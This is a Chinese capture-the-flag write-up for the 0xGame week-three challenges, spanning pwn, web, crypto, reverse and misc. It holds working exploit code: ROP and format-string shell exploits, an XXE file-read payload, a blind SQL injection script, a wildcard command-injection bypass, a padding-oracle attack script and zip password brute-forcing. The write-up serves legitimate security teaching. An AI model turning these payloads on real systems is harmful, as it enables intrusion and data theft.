0xGame第三周Writeup

Pwn

这周的题目相对来说,加入了格式化字符串漏洞,毕竟不能一味的出栈溢出啊!!!

0xPwn2

上周我出了一个Pwn滞销的题目,其中有用到一段汇编,这段汇编在init函数中
这段如何利用呢?我再讲一遍吧
因为在64位的X86架构的程序中
函数传参是优先使用6个寄存器传参,然后才会利用栈来传参数
首先会使用
RDI RSI RDX RCX R8 R9 这6个寄存器从左到右 顺序储存参数
例如 此时我拥有一个函数,其原型是
void func(int a,unsigned int b,char c,short int d,char *e,size_t f,FILE* g,int fd)
此函数传入
有符号4字节整型值a
无符号4字节整型值b
单字符有符号整型值c
双字节有符号整型值d
char*类型指针e*
无符号8字节整型值f
*文件O FILE*指针g
有符号4字节整型值fd
上述几个值,对应关系为
a -> RDI
b -> RSI
c -> RDX
d -> RCX
e -> R8
f -> R9
g -> qword ptr [RSP]
fd-> qword ptr [RSP + 8]
所以a、b、c、d、e、f从左到右顺序传参放入RDI RSI RDX RCX R8 R9寄存器
剩下的g和fd则是放到栈上,同样是顺序传参,从上到下,一一放置参数

回到init函数此处的汇编处

```
.text:0000000000401318 loc_401318:                             ; CODE XREF: init+4C↓j
.text:0000000000401318                 mov     rdx, r14
.text:000000000040131B                 mov     rsi, r13
.text:000000000040131E                 mov     edi, r12d
.text:0000000000401321                 call    qword ptr [r15+rbx*8]
.text:0000000000401325                 add     rbx, 1
.text:0000000000401329                 cmp     rbp, rbx
.text:000000000040132C                 jnz     short loc_401318
.text:000000000040132E
.text:000000000040132E loc_40132E:                             ; CODE XREF: init+31↑j
.text:000000000040132E                 add     rsp, 8
.text:0000000000401332                 pop     rbx
.text:0000000000401333                 pop     rbp
.text:0000000000401334                 pop     r12
.text:0000000000401336                 pop     r13
.text:0000000000401338                 pop     r14
.text:000000000040133A                 pop     r15
.text:000000000040133C                 retn
```

在loc_401318,我们发现:
RDX寄存器的值可以由R14确定
RSI寄存器的值可以由R13确定
EDI寄存器的值可以由R12d确定
上述三个寄存器是函数调用的时候,传参的前三个寄存器
例如,read(0,buf,nbytes)
0　　放入 EDI中
buf 放入 RSI中

nbytes　放入 RDX中
如果我们能控制RDI RSI RDX即可控制read函数的三个参数,然后调用read函数就能在任意一个具有可写权限的地址写入数据
*然后从 [R15 + RBX*8]中取出一个值,然后call 调用,所以取出来的值应该是某个函数或者text段的地址*
然后 add RBX,1
再cmp rbp,rbx,如果不等于又会跳转到loc_401318形成死循环,如果相等则会向下继续执行,所以为了不陷入死循环,需要
控制RBX = RBP - 1
此处我们发现 R12 R13 R14 R15 RBX RBP寄存器的值在loc_40132E位置处都能控制
所以
因为是64位程序,首先设置pwntools的架构
context.arch='AMD64'
layout:
RBX = 0
RBP = 1
payload = flat[0x401332,RBX,RBP,R12,R13,R14,R15]
payload += flat[0x401318]
*payload += '\x00'*8*7*
调用0x401332将后面的参数一一 pop到对应的寄存器中
然后调用0x401318在其中执行调用
因为需要绕过循环,所以设置RBX = 0;RBP = 1;在add RBX,1的时候即可绕过循环
然后R12,R13,R14交给传参的前三个寄存器,再调用R15地址处的一个函数指针

因为最后会回到loc_40132E处
add rsp,8 == pop一个参数
所以后面类似于pop了7个参数,所以需要填充 7*8个字节,之后再跟上一个想要返回的地址

此处我们为什么需要利用init这段汇编来控制寄存器呢?
因为通过这段参数能过控制更多的寄存器

这个题有个点在于

1. **asm**("xor rdi,rdi;"
   "xor rsi,rsi;"
   "xor rdx,rdx;"
   "xor rcx,rcx;"
   "xor rbx,rbx;"
   "xor rax,rax;"
   "xor R8,R8;"
   "xor R9,R9;"
   "xor R10,R10;"
   "xor R11,R11;"
   "xor R12,R12;"
   "xor R13,R13;"
   "xor R14,R14;"
   "xor R15,R15;");
   我在程序read后将大部分通用寄存器和指针寄存器通过异或给清空了
   所以read函数执行后,寄存器并没有残留的数据,而程序能够进行写入操作的函数也就只有read可以调用
2. 而题目可以发现具有system函数的plt表项和got表项,则函数中编译的时候加入了system函数的调用
3. 而system函数有了,如何得到"/bin/sh"参数呢?
   此处则需要利用init函数的那段汇编来控制read函数的前三个参数的传参寄存器,然后R15设置为read的got表项位置
   之后则可以通过调用read函数往bss段上写入一个/bin/sh字符串,在这段汇编返回的时候,调用pop rdi;ret将刚才写入了/bin/sh字符串的地址交给rdi寄存器,最后调用system函数的plt表项即可

当然这个题还能利用ret2libc的方法来做,具体实现则是通过控制puts函数将got表中某个函数的libc地址给打印出来,然后得到了libc地址就能任意获取其他函数在共享库中的地址进行调用即可,究竟如何,可自行钻研

EXP:

```
from pwn import*
p = process('./main')
elf =ELF('./main')
p = remote('39.101.210.214',10010)
m_gadget = 0x401332
n_gadget = 0x401318
pop_rdi_ret = 0x40133B
elf =ELF('./main')
payload  = '\x00'*0x58
payload += p64(m_gadget) + p64(0) + p64(1) + p64(0) + p64(elf.bss() + 0x50) + p64(0x8) + p64(elf.got['read'])
payload += p64(n_gadget) + '\x00'*8*7 + p64(pop_rdi_ret) + p64(elf.bss() + 0x50) + p64(elf.plt['system'])
p.sendlineafter('Time!',payload)
p.sendline('/bin/sh')
```

```
p.interactive()
```

程序源码:

```
//gcc src.c -o main -z noexecstack -fstack-protector-explicit -no-pie -z now -s -masm=intel -g
#include <unistd.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
char buf[8];
void func2()
{
    size_t r;
    size_t t;
    int fd = open("/dev/urandom",0);
    read(fd,&r,8);
    close(fd);
    puts("Please input A Number");
    scanf("%lld",&t);
    if( t == r)
    {
        system("echo COngratulations");
    }
}
void func()
{
    char buf[0x49];
    puts("Have A Good Time!");
    read(0,buf,0x100);
    __asm__("xor rdi,rdi;"
            "xor rsi,rsi;"
            "xor rdx,rdx;"
            "xor rcx,rcx;"
            "xor rbx,rbx;"
            "xor rax,rax;"
            "xor R8,R8;"
            "xor R9,R9;"
            "xor R10,R10;"
            "xor R11,R11;"
            "xor R12,R12;"
            "xor R13,R13;"
            "xor R14,R14;"
            "xor R15,R15;");
}
void my_init()
{
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);
    setvbuf(stderr,0LL,2,0LL);
}
int main()
{
    my_init();
    func();
}
```

0xPwn4_easyfmt

一般,我们在调用printf函数的时候,是printf("%s",buf);从而将buf中的字符串给打印出来,而有时候为了偷懒将%s格式化字符串省略后,变成printf(buf);
当然功效和puts();是类似的,字符串是能够打印出来的,然而如果打印的字符串能够经过我们自己控制,那么对于printf则是相当于可以控制它的格式化字符串

利用我写入的字符串中 存在一个 %s
则printf(buf,
RSI)因为控制了$printf$的第一个参数,则$printf$在第一次匹配格式化字符串的时候遇到则会将$printf$的第二个参数作为地址,将其中的字符串给打印出来,相当于将RSI寄存器存放的指针指向的位置的数据给打印出来
一直打印到\x00为止,因为printf和puts都具有\x00截断,如果遇到了\x00则不会继续打印数据了

因为如果控制了格式化字符串,可以进一步利用

通过 构造 %n$i n是对应的偏移,i是对应的格式化字符串的类型

比如 %7$s,则是将第8个参数位置的指针指向的数据给打印出来

当然 格式化字符串还有一个大家都给忽略或者没有见过的类型,则是%n

%n则作用则是将printf打印出来的所有字符一共的字节数 作为一个4字节值写入到某个指针指向的地址处

%hn,%hhn 分别是写入两个字节 和写入一个字节到对应地址里面

而格式化字符串有个小问题,就是 如果一次性写入大于0x2000的值可能会不生效,从而直接跳过了

通过 n$ 则可以任意偏移位置的数据获取或者写入

简单介绍下格式化字符串,然后回到题目中来

```
    char buf[0x20];
    puts("easyfmt for U");
    read(0,buf,0x20);
    printf(buf);
    if(n == 0x233)
    {
        system("/bin/sh");
    }
```

这里很明显,首先写入了一段数据到当前函数的局部数组 buf中,然后将buf利用pritnf打印出来,明显的格式化字符串漏洞
而n是一个全局变量,全局变量通常位于bss段上,而程序又没有开启pie保护,那么bss段上全局变量n的地址是可以确定的

那么我们只需要在写入数据的时候,将n变量的地址写入到栈上面,然后通过 %i$n i此处为偏移,如果i对应的参数是刚才写入到栈上 全局变量n的地址,那么%n则可以往里面写入数据

因为n == 0x2333 则可getshell

所以前面需要打印 0x233个字节,通常打印字符,用的是%c
所以控制%c中的数量 变成%563c 数据打印了0x233字节,后面需要往n中写入数据
payload = '%563c'
所以
payload += '%i$n'
然后让len(payload)%8 == 0;
后面再加上某个地址
再
payload = payload.ljust(0x10,'\x00')
补齐到0x10大小,然后跟上n的地址
payload += p64(n_addr)
这个i如何确定呢? 这次我们来调试看看呢

```
 0x7ffff7ed65a4 <read+20>    ja     read+112 <0x7ffff7ed6600>

 0x7ffff7ed65a6 <read+22>    ret
  ↓
 0x4011ab                    lea    rax, [rbp - 0x30]
 0x4011af                    mov    rdi, rax
 0x4011b2                    mov    eax, 0
▶ 0x4011b7                    call   printf@plt <0x401060>
      format: 0x7fffffffdd90 ◂— 0xa59594d46 /* 'FMYY\n' */
      vararg: 0x7fffffffdd90 ◂— 0xa59594d46 /* 'FMYY\n' */

 0x4011bc                    mov    rax, qword ptr [rip + 0x2e8d]
 0x4011c3                    cmp    rax, 0x233
 0x4011c9                    jne    0x4011d7

 0x4011cb                    lea    rdi, [rip + 0xe40]
 0x4011d2                    call   system@plt <0x401050>
[ STACK ]
00:0000| rdi rsi rsp  0x7fffffffdd90 ◂— 0xa59594d46 /* 'FMYY\n' */
01:0008|              0x7fffffffdd98 —▸ 0x7fffffffdec0 ◂— 0x1
02:0010|              0x7fffffffdda0 ◂— 0x0
03:0018|              0x7fffffffdda8 —▸ 0x40125f ◂— nop
04:0020|              0x7fffffffddb0 ◂— 0x0
05:0028|              0x7fffffffddb8 ◂— 0x8807037d95c6e00
06:0030| rbp          0x7fffffffddc0 —▸ 0x7fffffffdde0 —▸ 0x4012c0 ◂— push   r15
07:0038|              0x7fffffffddc8 —▸ 0x401297 ◂— mov    eax, 0
```

可以发现 buf位置是位于栈顶的,而此处程序是64位程序,那么format的指针是存放RDI寄存器上的

而64位程序会通过前6个寄存器传参,然后通过栈传参

因为计算机中, 0始终是第一个位置

所以
RSI对应的 i = 1
RDX对应的 i = 2
RCX对应的 i = 3
R8 对应的 i = 4
R9 对应的 i = 5
然后通过栈传参,所以栈顶位置对应的i = 6
后面每8个字节 i + 1

而此处我们写入的payload 前面有0x10个字节,然后才是p64(n_addr)
所以n_addr = (6 + 0x10/8) = 8

payload = '%563c'
payload += '%i$n'
payload = payload.ljust(0x10,'\x00')
payload += p64(n_addr)
此处 i = 8

payload = '%563c'
payload += '%8$n'
payload = payload.ljust(0x10,'\x00')
payload += p64(n_addr)

最终EXP:

```
from pwn import*
p = process('./main')
elf =ELF('./main')
p = remote('39.101.210.214',10012)

payload  = '%' + str(0x233) + 'c%8$n'
payload  = payload.ljust(0x10,'\x00')
payload += p64(0x404050)
p.sendline(payload)
p.interactive()
```

程序源码

```
//g++ src.c -o main -z noexecstack -fstack-protector-all -no-pie -z now -s
#include <unistd.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
size_t n = 0;
void func()
{
    char buf[0x20];
    puts("easyfmt for U");
    read(0,buf,0x20);
    printf(buf);
    if(n == 0x233)
    {
        system("/bin/sh");
    }
}
void my_init()
{
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);
    setvbuf(stderr,0LL,2,0LL);
}
int main()
{
    my_init();
    func();
}
```

0xPwn3_fmt

刚才对于格式化字符串漏洞简单的使用已经叙述

```
    char buf[0x60];
    puts("Leave Some Message to me");
    read(0,buf,0x60);
    sprintf(ar,buf,buf);
    if(!memcmp(::buf,"FMYY",4))
    {
        printf(ar);
        system("/bin/sh");
    }
```

漏洞点在

sprintf(ar,buf,buf);

先看看 sprintf的函数原型
  int sprintf(char *str, const char *format, ...);

他的作用则是将 打印出来的数据存放进str指针地址处,所以不会回显

而我们此处存入的地址是ar位置,而ar是全局的一个数组,所以数据最终会存放到bss段上
第二个参数才是格式化字符串的参数,后续才是一系列的参数

而这里sprintf(ar,buf,buf); 把第二个参数也就是格式化字符串参数的指针交给了我们可以写入的数据控制,所以引发了格式化字符串漏洞

因为!memcmp(::buf,"FMYY",4) 只要判断一个全局变量 buf存放了FMYY 字符串,即可getshell
这里的 printf(ar); 是个用来干扰做题人的,因为这个位置的代码是比较后才用到,所以根本没法用到

这里和上面的做法一样,因为写入的数据有大小限制,所以利用%i$hhn 一个字节一个字节的写入

如果前面打印的数据,第一次写入后,第二次写入是会积累的

所以这里将写入数据小的放到最开始,后面再依次跟值比较大的部分

因为出题人觉得格式化字符串太难写了,所以后面的题目解析咕咕咕,如何利用看exp吧

```
from pwn import*
p = process('./main')
elf =ELF('./main')
p = remote('39.101.210.214',10011)

payload  = '%' + str(0x46) + 'c%11$hhn' + '%' + str((0x4D - 0x46)) +'c%12$hhn'
payload += '%' + str((0x59 - 0x4D)) + 'c%13$hhn' + '%14$hhn'
payload = payload.ljust(0x30,'\x00')
payload += p64(0x404060) + p64(0x404061) + p64(0x404062) + p64(0x404063)
p.sendline(payload)
p.interactive()
```

程序源码

```
//g++ src.c -o main -z noexecstack -fstack-protector-all -no-pie -z now -s
#include <unistd.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
char buf[4];
char ar[0x60];
void func()
{
    char buf[0x60];
    puts("Leave Some Message to me");
    read(0,buf,0x60);
    sprintf(ar,buf,buf);
    if(!memcmp(::buf,"FMYY",4))
    {
        printf(ar);
        system("/bin/sh");
    }
}
```

```
void my_init()
{
    setvbuf(stdin,0LL,2,0LL);
    setvbuf(stdout,0LL,2,0LL);
    setvbuf(stderr,0LL,2,0LL);
}
int main()
{
    my_init();
    func();
}
```

Web

inject_me

- flag在/flag
- HINT：注意Content-Type的格式，这个格式可能存在什么漏洞

其实不要hint的话，其实简单抓个包，观察请求体和响应体就能看出来xml。

根据hint，百度一下【XML漏洞】就可以知道XXE

推荐一篇文章

具体什么意思不说了，百度都有，这里直接给payload；

POST数据：

```
<?xml version="1.0"?>
<!DOCTYPE dy [
    <!ENTITY dy SYSTEM "file:///flag">
]>
<user><username>&dy;</username><password>123</password></user>
```

close_eyes

- HINT：盲注

最简单的布尔盲注，很多同学用手打，本来目的是想叫你们去学python的，结果硬是手打出来了，下次出个128位的flag（bushi

和上周的just_login一样，要先猜测SQL语句：

```
select username from user where username='". $username ."' and password='". $password ."';
```

思路就是，(condition)为假的时候，（比如我用户名输入1' or 1=0#或者乱输一个用户名密码），页面回显"数据库里没你这号人,别想骗劳资.jpg"

为真的时候（比如我输入1' or 1=1#）页面回显"数据库有你这号人，那又怎么着？"，根据回显情况的不同，我们就可以判断我们的condition究竟是真还是假。

```
1' or (condition)#
```

举个例子：

```
1' or length(database())>1#
```

判断数据库名字的长度是不是大于1，页面返回"数据库有你这号人，那又怎么着？"，那么我们就可以确定数据库名字长度大于1。

类似的：

```
1'||ascii(substr(database(),1,1))=117#
```

可判断数据库第一个字母是ASCII码为117的字母，也就是'u'。

也可以使用二分法进行盲注。

```
#python3
#wh1sper
import requests
host = 'http://59.110.157.4:30052/login.php'
def mid(bot, top):
```

```
    return (int)(0.5 * (top + bot))
def sqli():
    name = ''
    for j in range(1, 250):
        top = 126
        bot = 32
        while 1:
            babyselect = 'database()'#user
            #babyselect = '(select table_name from information_schema.tables where
table_schema=database())'#user
            #babyselect = "(select group_concat(column_name) from information_schema.columns " \
            #            "where table_schema=database() and table_name='user')"#id,username,password
            #babyselect = "(select group_concat(password) from user)"#0xGame{blind_sqli_1s_not_hard}
            data = {
                "password": "1",
                "username": "1'||ascii(substr({},{},1))>{}#".format(babyselect, j, mid(bot, top))
            }
            r = requests.post(url=host, data=data)
            #print(r.text)
            print(data)
            if '数据库有你这号人' in r.text:#子查询为真
                if top - 1 == bot:
                    name += chr(top)
                    print(name)
                    break
                bot = mid(bot, top)
            else:
                if top - 1 == bot:
                    name += chr(bot)
                    print(name)
                    break
                top = mid(bot, top)
if __name__ == '__main__':
    sqli()
```

虚假留言板

随便输入除了admin之外的用户登录，看到`Y0u 4re nOt admin, no fl4g h3re!`

F12看到cookie，base64解码得到`{"username":"leon","status":1}`，修改为admin：

然后编码再替换，刷新得到flag

????

F12把maxlenth改为大一点的数，然后删掉提交按钮的disable属性，输入`yulige`后提交，访问`sh3ll.php`

```
<?php
error_reporting(0);
highlight_file(__FILE__);
//echo "flag is in fl4g_is_here.php";

$cmd = $_POST['cmd'];
if(preg_match("/[A-za-ko-z0-9]+/", $cmd)){
```

```
    die("hacker!");
}
$blacklist = "~!@#%^$&\/*() （） <> 《》 -_{}[]'/\":,";
        foreach(str_split($blacklist) as $char) {
            if(strchr($cmd, $char) !== false)
                die('Big Hacker!!');
        }
system($cmd);
?>
```

给出源码，发现`l m n ? .`还有空格没过滤，提示其实很明显了，题目????提示Linux通配符，lmn没过滤提示使用`nl`查看文件，搜索命令执行绕过都是可以搜索到的

payload:

```
POST: cmd=nl ???????????????
```

因为`<`的原因，CTRL+U或者F12查看源码即可

Crypto

signinRSA

很简单的一题，发送密文，服务器会返回解密后的结果，只是不能发送 flag 的密文。

//没想到有两位学弟用 parityOracle 的脚本打。。。

因为 $c \cdot 2^e \equiv m^e \cdot 2^e \equiv (2m)^e \ mod \ n$ 所以可以发送 $c \cdot pow(2, e, n)$ 收到 2m，除 2 得到 flag。

//有个学弟想到发送-c，得到返回-m，tql

easyRSA

这题是给了 $x = 11 \cdot d + 7 \cdot (p-1) \cdot (q-1)$，我们知道 $e \cdot d \equiv 1 \ mod \ (p-1) \cdot (q-1)$，所以存在 r 使

$$e \cdot d = 1 \ + \ r \cdot (p-1) \cdot (q-1)$$

所以

$$\begin{aligned} x \cdot e &= 11 \cdot e \cdot d + 7 \cdot e \cdot \phi(n) \\ x \cdot e &= 11 \cdot (1 + r \cdot \phi(n)) + 7 \cdot e \cdot \phi(n) \\ x \cdot e - 11 &= (11 \cdot r + 7 \cdot e) \cdot \phi(n) \end{aligned}$$

枚举 r 即可得到 $\phi(n)$.

```
from Crypto.Util.number import *

n = 153212110418449056037343441781249 47...
c = 148960932364930339147819297559368 72...
x = 265060901898485540806769085700708 18...
e = 65537
kphi = x*e-11
for r in range(e):
    k = 7*e+11*r
    if kphi % k: continue
    phi = kphi//k
    if len(bin(n-phi+1)[2:]) > 1025: continue
    print(long_to_bytes(pow(c, inverse(e, phi), n)))
# 0xGame{cfac8284-3013-439b-8ff3-884decb642bb}
```

paddingOracle

题目名称直接告诉了是 Padding Oracle Attack，学弟们也都学会并实现了这种攻击，~~网上资料也非常多，我就不详细写了（其实是因为懒）~~。

这种攻击针对的是块加密的CBC模式，通过求得正确的中间值（Intermediary Value）并在最终和正确的向量异或得到明文。需要对密文分块从后往前破解，对于每一块，从最后一字节往前破解。

对于一块需要破解的密文，需要先构造一个IV，并枚举IV的最后一字节，直到服务器告诉我们解密后的padding是正确的，将枚举到的这个字节的值和padding的值（\x01）异或即可得到当前位置的中间值。然后更新IV的最后一字节（中间值最后一字节和\x02异或）来保证枚举倒数第二字节的时候，倒数第一字节解密后的值是\x02（这样爆破倒数第二字节的时候，只要服务器解密后倒数第二字节是\x02就会padding正确）。

```python
from Crypto.Util.number import *
from Crypto.Cipher import AES
from pwn import *


HOST = "49.235.239.97"
POST = 10003
r = remote(HOST, POST)


def proof_of_work():
    rev = r.recvuntil("sha256(XXXX+")
    suffix = r.recv(16).decode()
    rev = r.recvuntil(" == ")
    tar = r.recv(64).decode()

    def f(x):
        hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest()
        return hashresult == tar

    prefix = util.iters.mbruteforce(
        f, string.digits + string.ascii_letters, 4, 'upto')
    r.recvuntil("Give me XXXX:")
    r.sendline(prefix)


proof_of_work()
r.recvuntil(b"iv : ")
iv = [long_to_bytes(int(r.recvline().decode().strip(), 16))]
r.recvuntil(b"crypttext : ")
crypttext = long_to_bytes(int(r.recvline().decode().strip(), 16))
blocks = [crypttext[i*16:i*16+16] for i in range(len(crypttext)//16)]
iv += blocks[:-1]
flag = b""
for block in range(len(blocks)):
    mid_value = []
    new_iv = bytearray(b"\x00"*16)
    for i in range(16):
        for j in range(256):
            new_iv[15 - i] = j
            r.recvuntil(b"> ")
            r.sendline(b"1")
            r.recvuntil(b"Your IV (in hex): ")
            r.sendline(new_iv.hex())
            r.recvuntil(b"Your cipher (in hex): ")
            r.sendline(blocks[block].hex().encode())
            data = r.recvline()
            if b"success" in data:
                ans = j ^ (i+1)
                break

        mid_value.append(ans)
        for m in range(15 - i, 16):
            new_iv[m] = (i+2) ^ mid_value[15 - m]
    find = ""
    for i in range(16):
        find += hex(iv[block][i] ^ mid_value[15 - i])[2:].rjust(2, '0')
    flag += long_to_bytes(int(find, 16))
    print(flag)
r.interactive()
```

Reverse

maze

如题所示，就是走迷宫，w表示向前，a向左，d向右，s向后，迷宫长这样👇

起点是d点，走迷宫就行

```
********************
********************
*********....********
***s......**....****
***************.****
*d*************.****
*.*************.****
*.*************.****
*.***********....****
..***********.********
.************.********
.............********
```

走到s即可

tls_rc4

标题已经给提示了，tls回调函数先运行与主函数,tls回调函数使用rc4解密，先对最后比较的结果进行加密，在主函数中，就使用base64加密，再比较，所以先rc4解密，再base64解密

```
#!/usr/bin/env python
# coding=utf-8
from base64 import *
result = [ 0xBA, 0xC5, 0x87, 0x89, 0x53, 0x15, 0x1B, 0x44, 0x13, 0xFA,
  0xD5, 0xBD, 0x48, 0xEA, 0xEE, 0x70, 0x81, 0xD0, 0x18, 0xD6,
  0x3B, 0x1E, 0x7F, 0xC2, 0x7A, 0xE4, 0x17, 0xFD, 0x78, 0xA6,
  0x01, 0xAF, 0x5F, 0x3B, 0x98, 0x6A, 0xEA, 0xA9, 0x97, 0xE9]
box = [0]*256
word = "0xgame"
for i in range(256):
    box[i] = i
j = 0
#for i in range(256):
#    print(hex(box[i]),end=' ')
print('\n')
for i in range(256):
    j = (j + box[i] + ord(word[i%6]))%256
    box[i],box[j] = box[j] , box[i]
#for i in range(256):
#    print(hex(box[i]),end=' ')
z=0
i = 0
length = len(result)
while length!=0:
    i = (i + 1)%256
    j = (j + box[i]) %256
    box[i],box[j] = box[j],box[i]
    t = (box[i] + box[j]) %256
    #print(hex(t),end=' ')
    #print(hex(box[t]),end='\n')
    result[z] = result[z] ^ box[t]
    #print(hex(result[z]),end=' ')
    z = z+1
    length = length -1

#for i in range(len(result)):
#    print(hex(result[i]),end=',')


for i in range(len(result)):
    result[i] = result[i] ^ ord(word[i%6])

s = ''.join(chr(result[i]) for i in range(len(result)))
print(s)
print(b64decode(s))
```

Misc

threeThousand

解3000层压缩包，每层都有两位数字密码，需要简单爆破一下。

百度简单学一下 zipfile 或者找一些脚本改一改，就可以编写脚本爆破并解压了。

```
import zipfile
import os
from time import time


def unZip(filename):
    zipFile = zipfile.ZipFile(filename, 'r')
    for i in range(100):
        pwd = "0"*(2-len(str(i))) + str(i)
        try:
            zipFile.extractall(pwd=pwd.encode())
            os.remove(filename)
            break
        except:
            continue


st = time()
for i in range(3000):
    namelist = os.listdir(os.getcwd())
    for file in namelist:
        if file[-4:] == ".zip":
            unZip(file)
print(time()-st)
```

easyMisc

进入网页直接可以看到的是一张图片hint.png，和坏掉的按钮提示的record.wav。F12在源代码可以看到两个base64编码的提示，easyMisc/record.wav和easyMisc/flag.zip。

```
stegpy hint.png
get_the_password_from_wav
```

接着分析 record.wav，听着像电话音（就是电话音），可以在在线网站上解 DTMF，也可以使用 Audacity 对频谱逐段分析，得到一串数字2821876761（这其实是群里报血的bot，Hex酱的QQ号）。

用2821876761解压flag.zip，得到~~冷静分析.png~~ flag.png

```
stegpy flag.png
http://am473ur.com/0xgame/easyMisc/511a1a36eb4da797618c998ae933d72a.php
```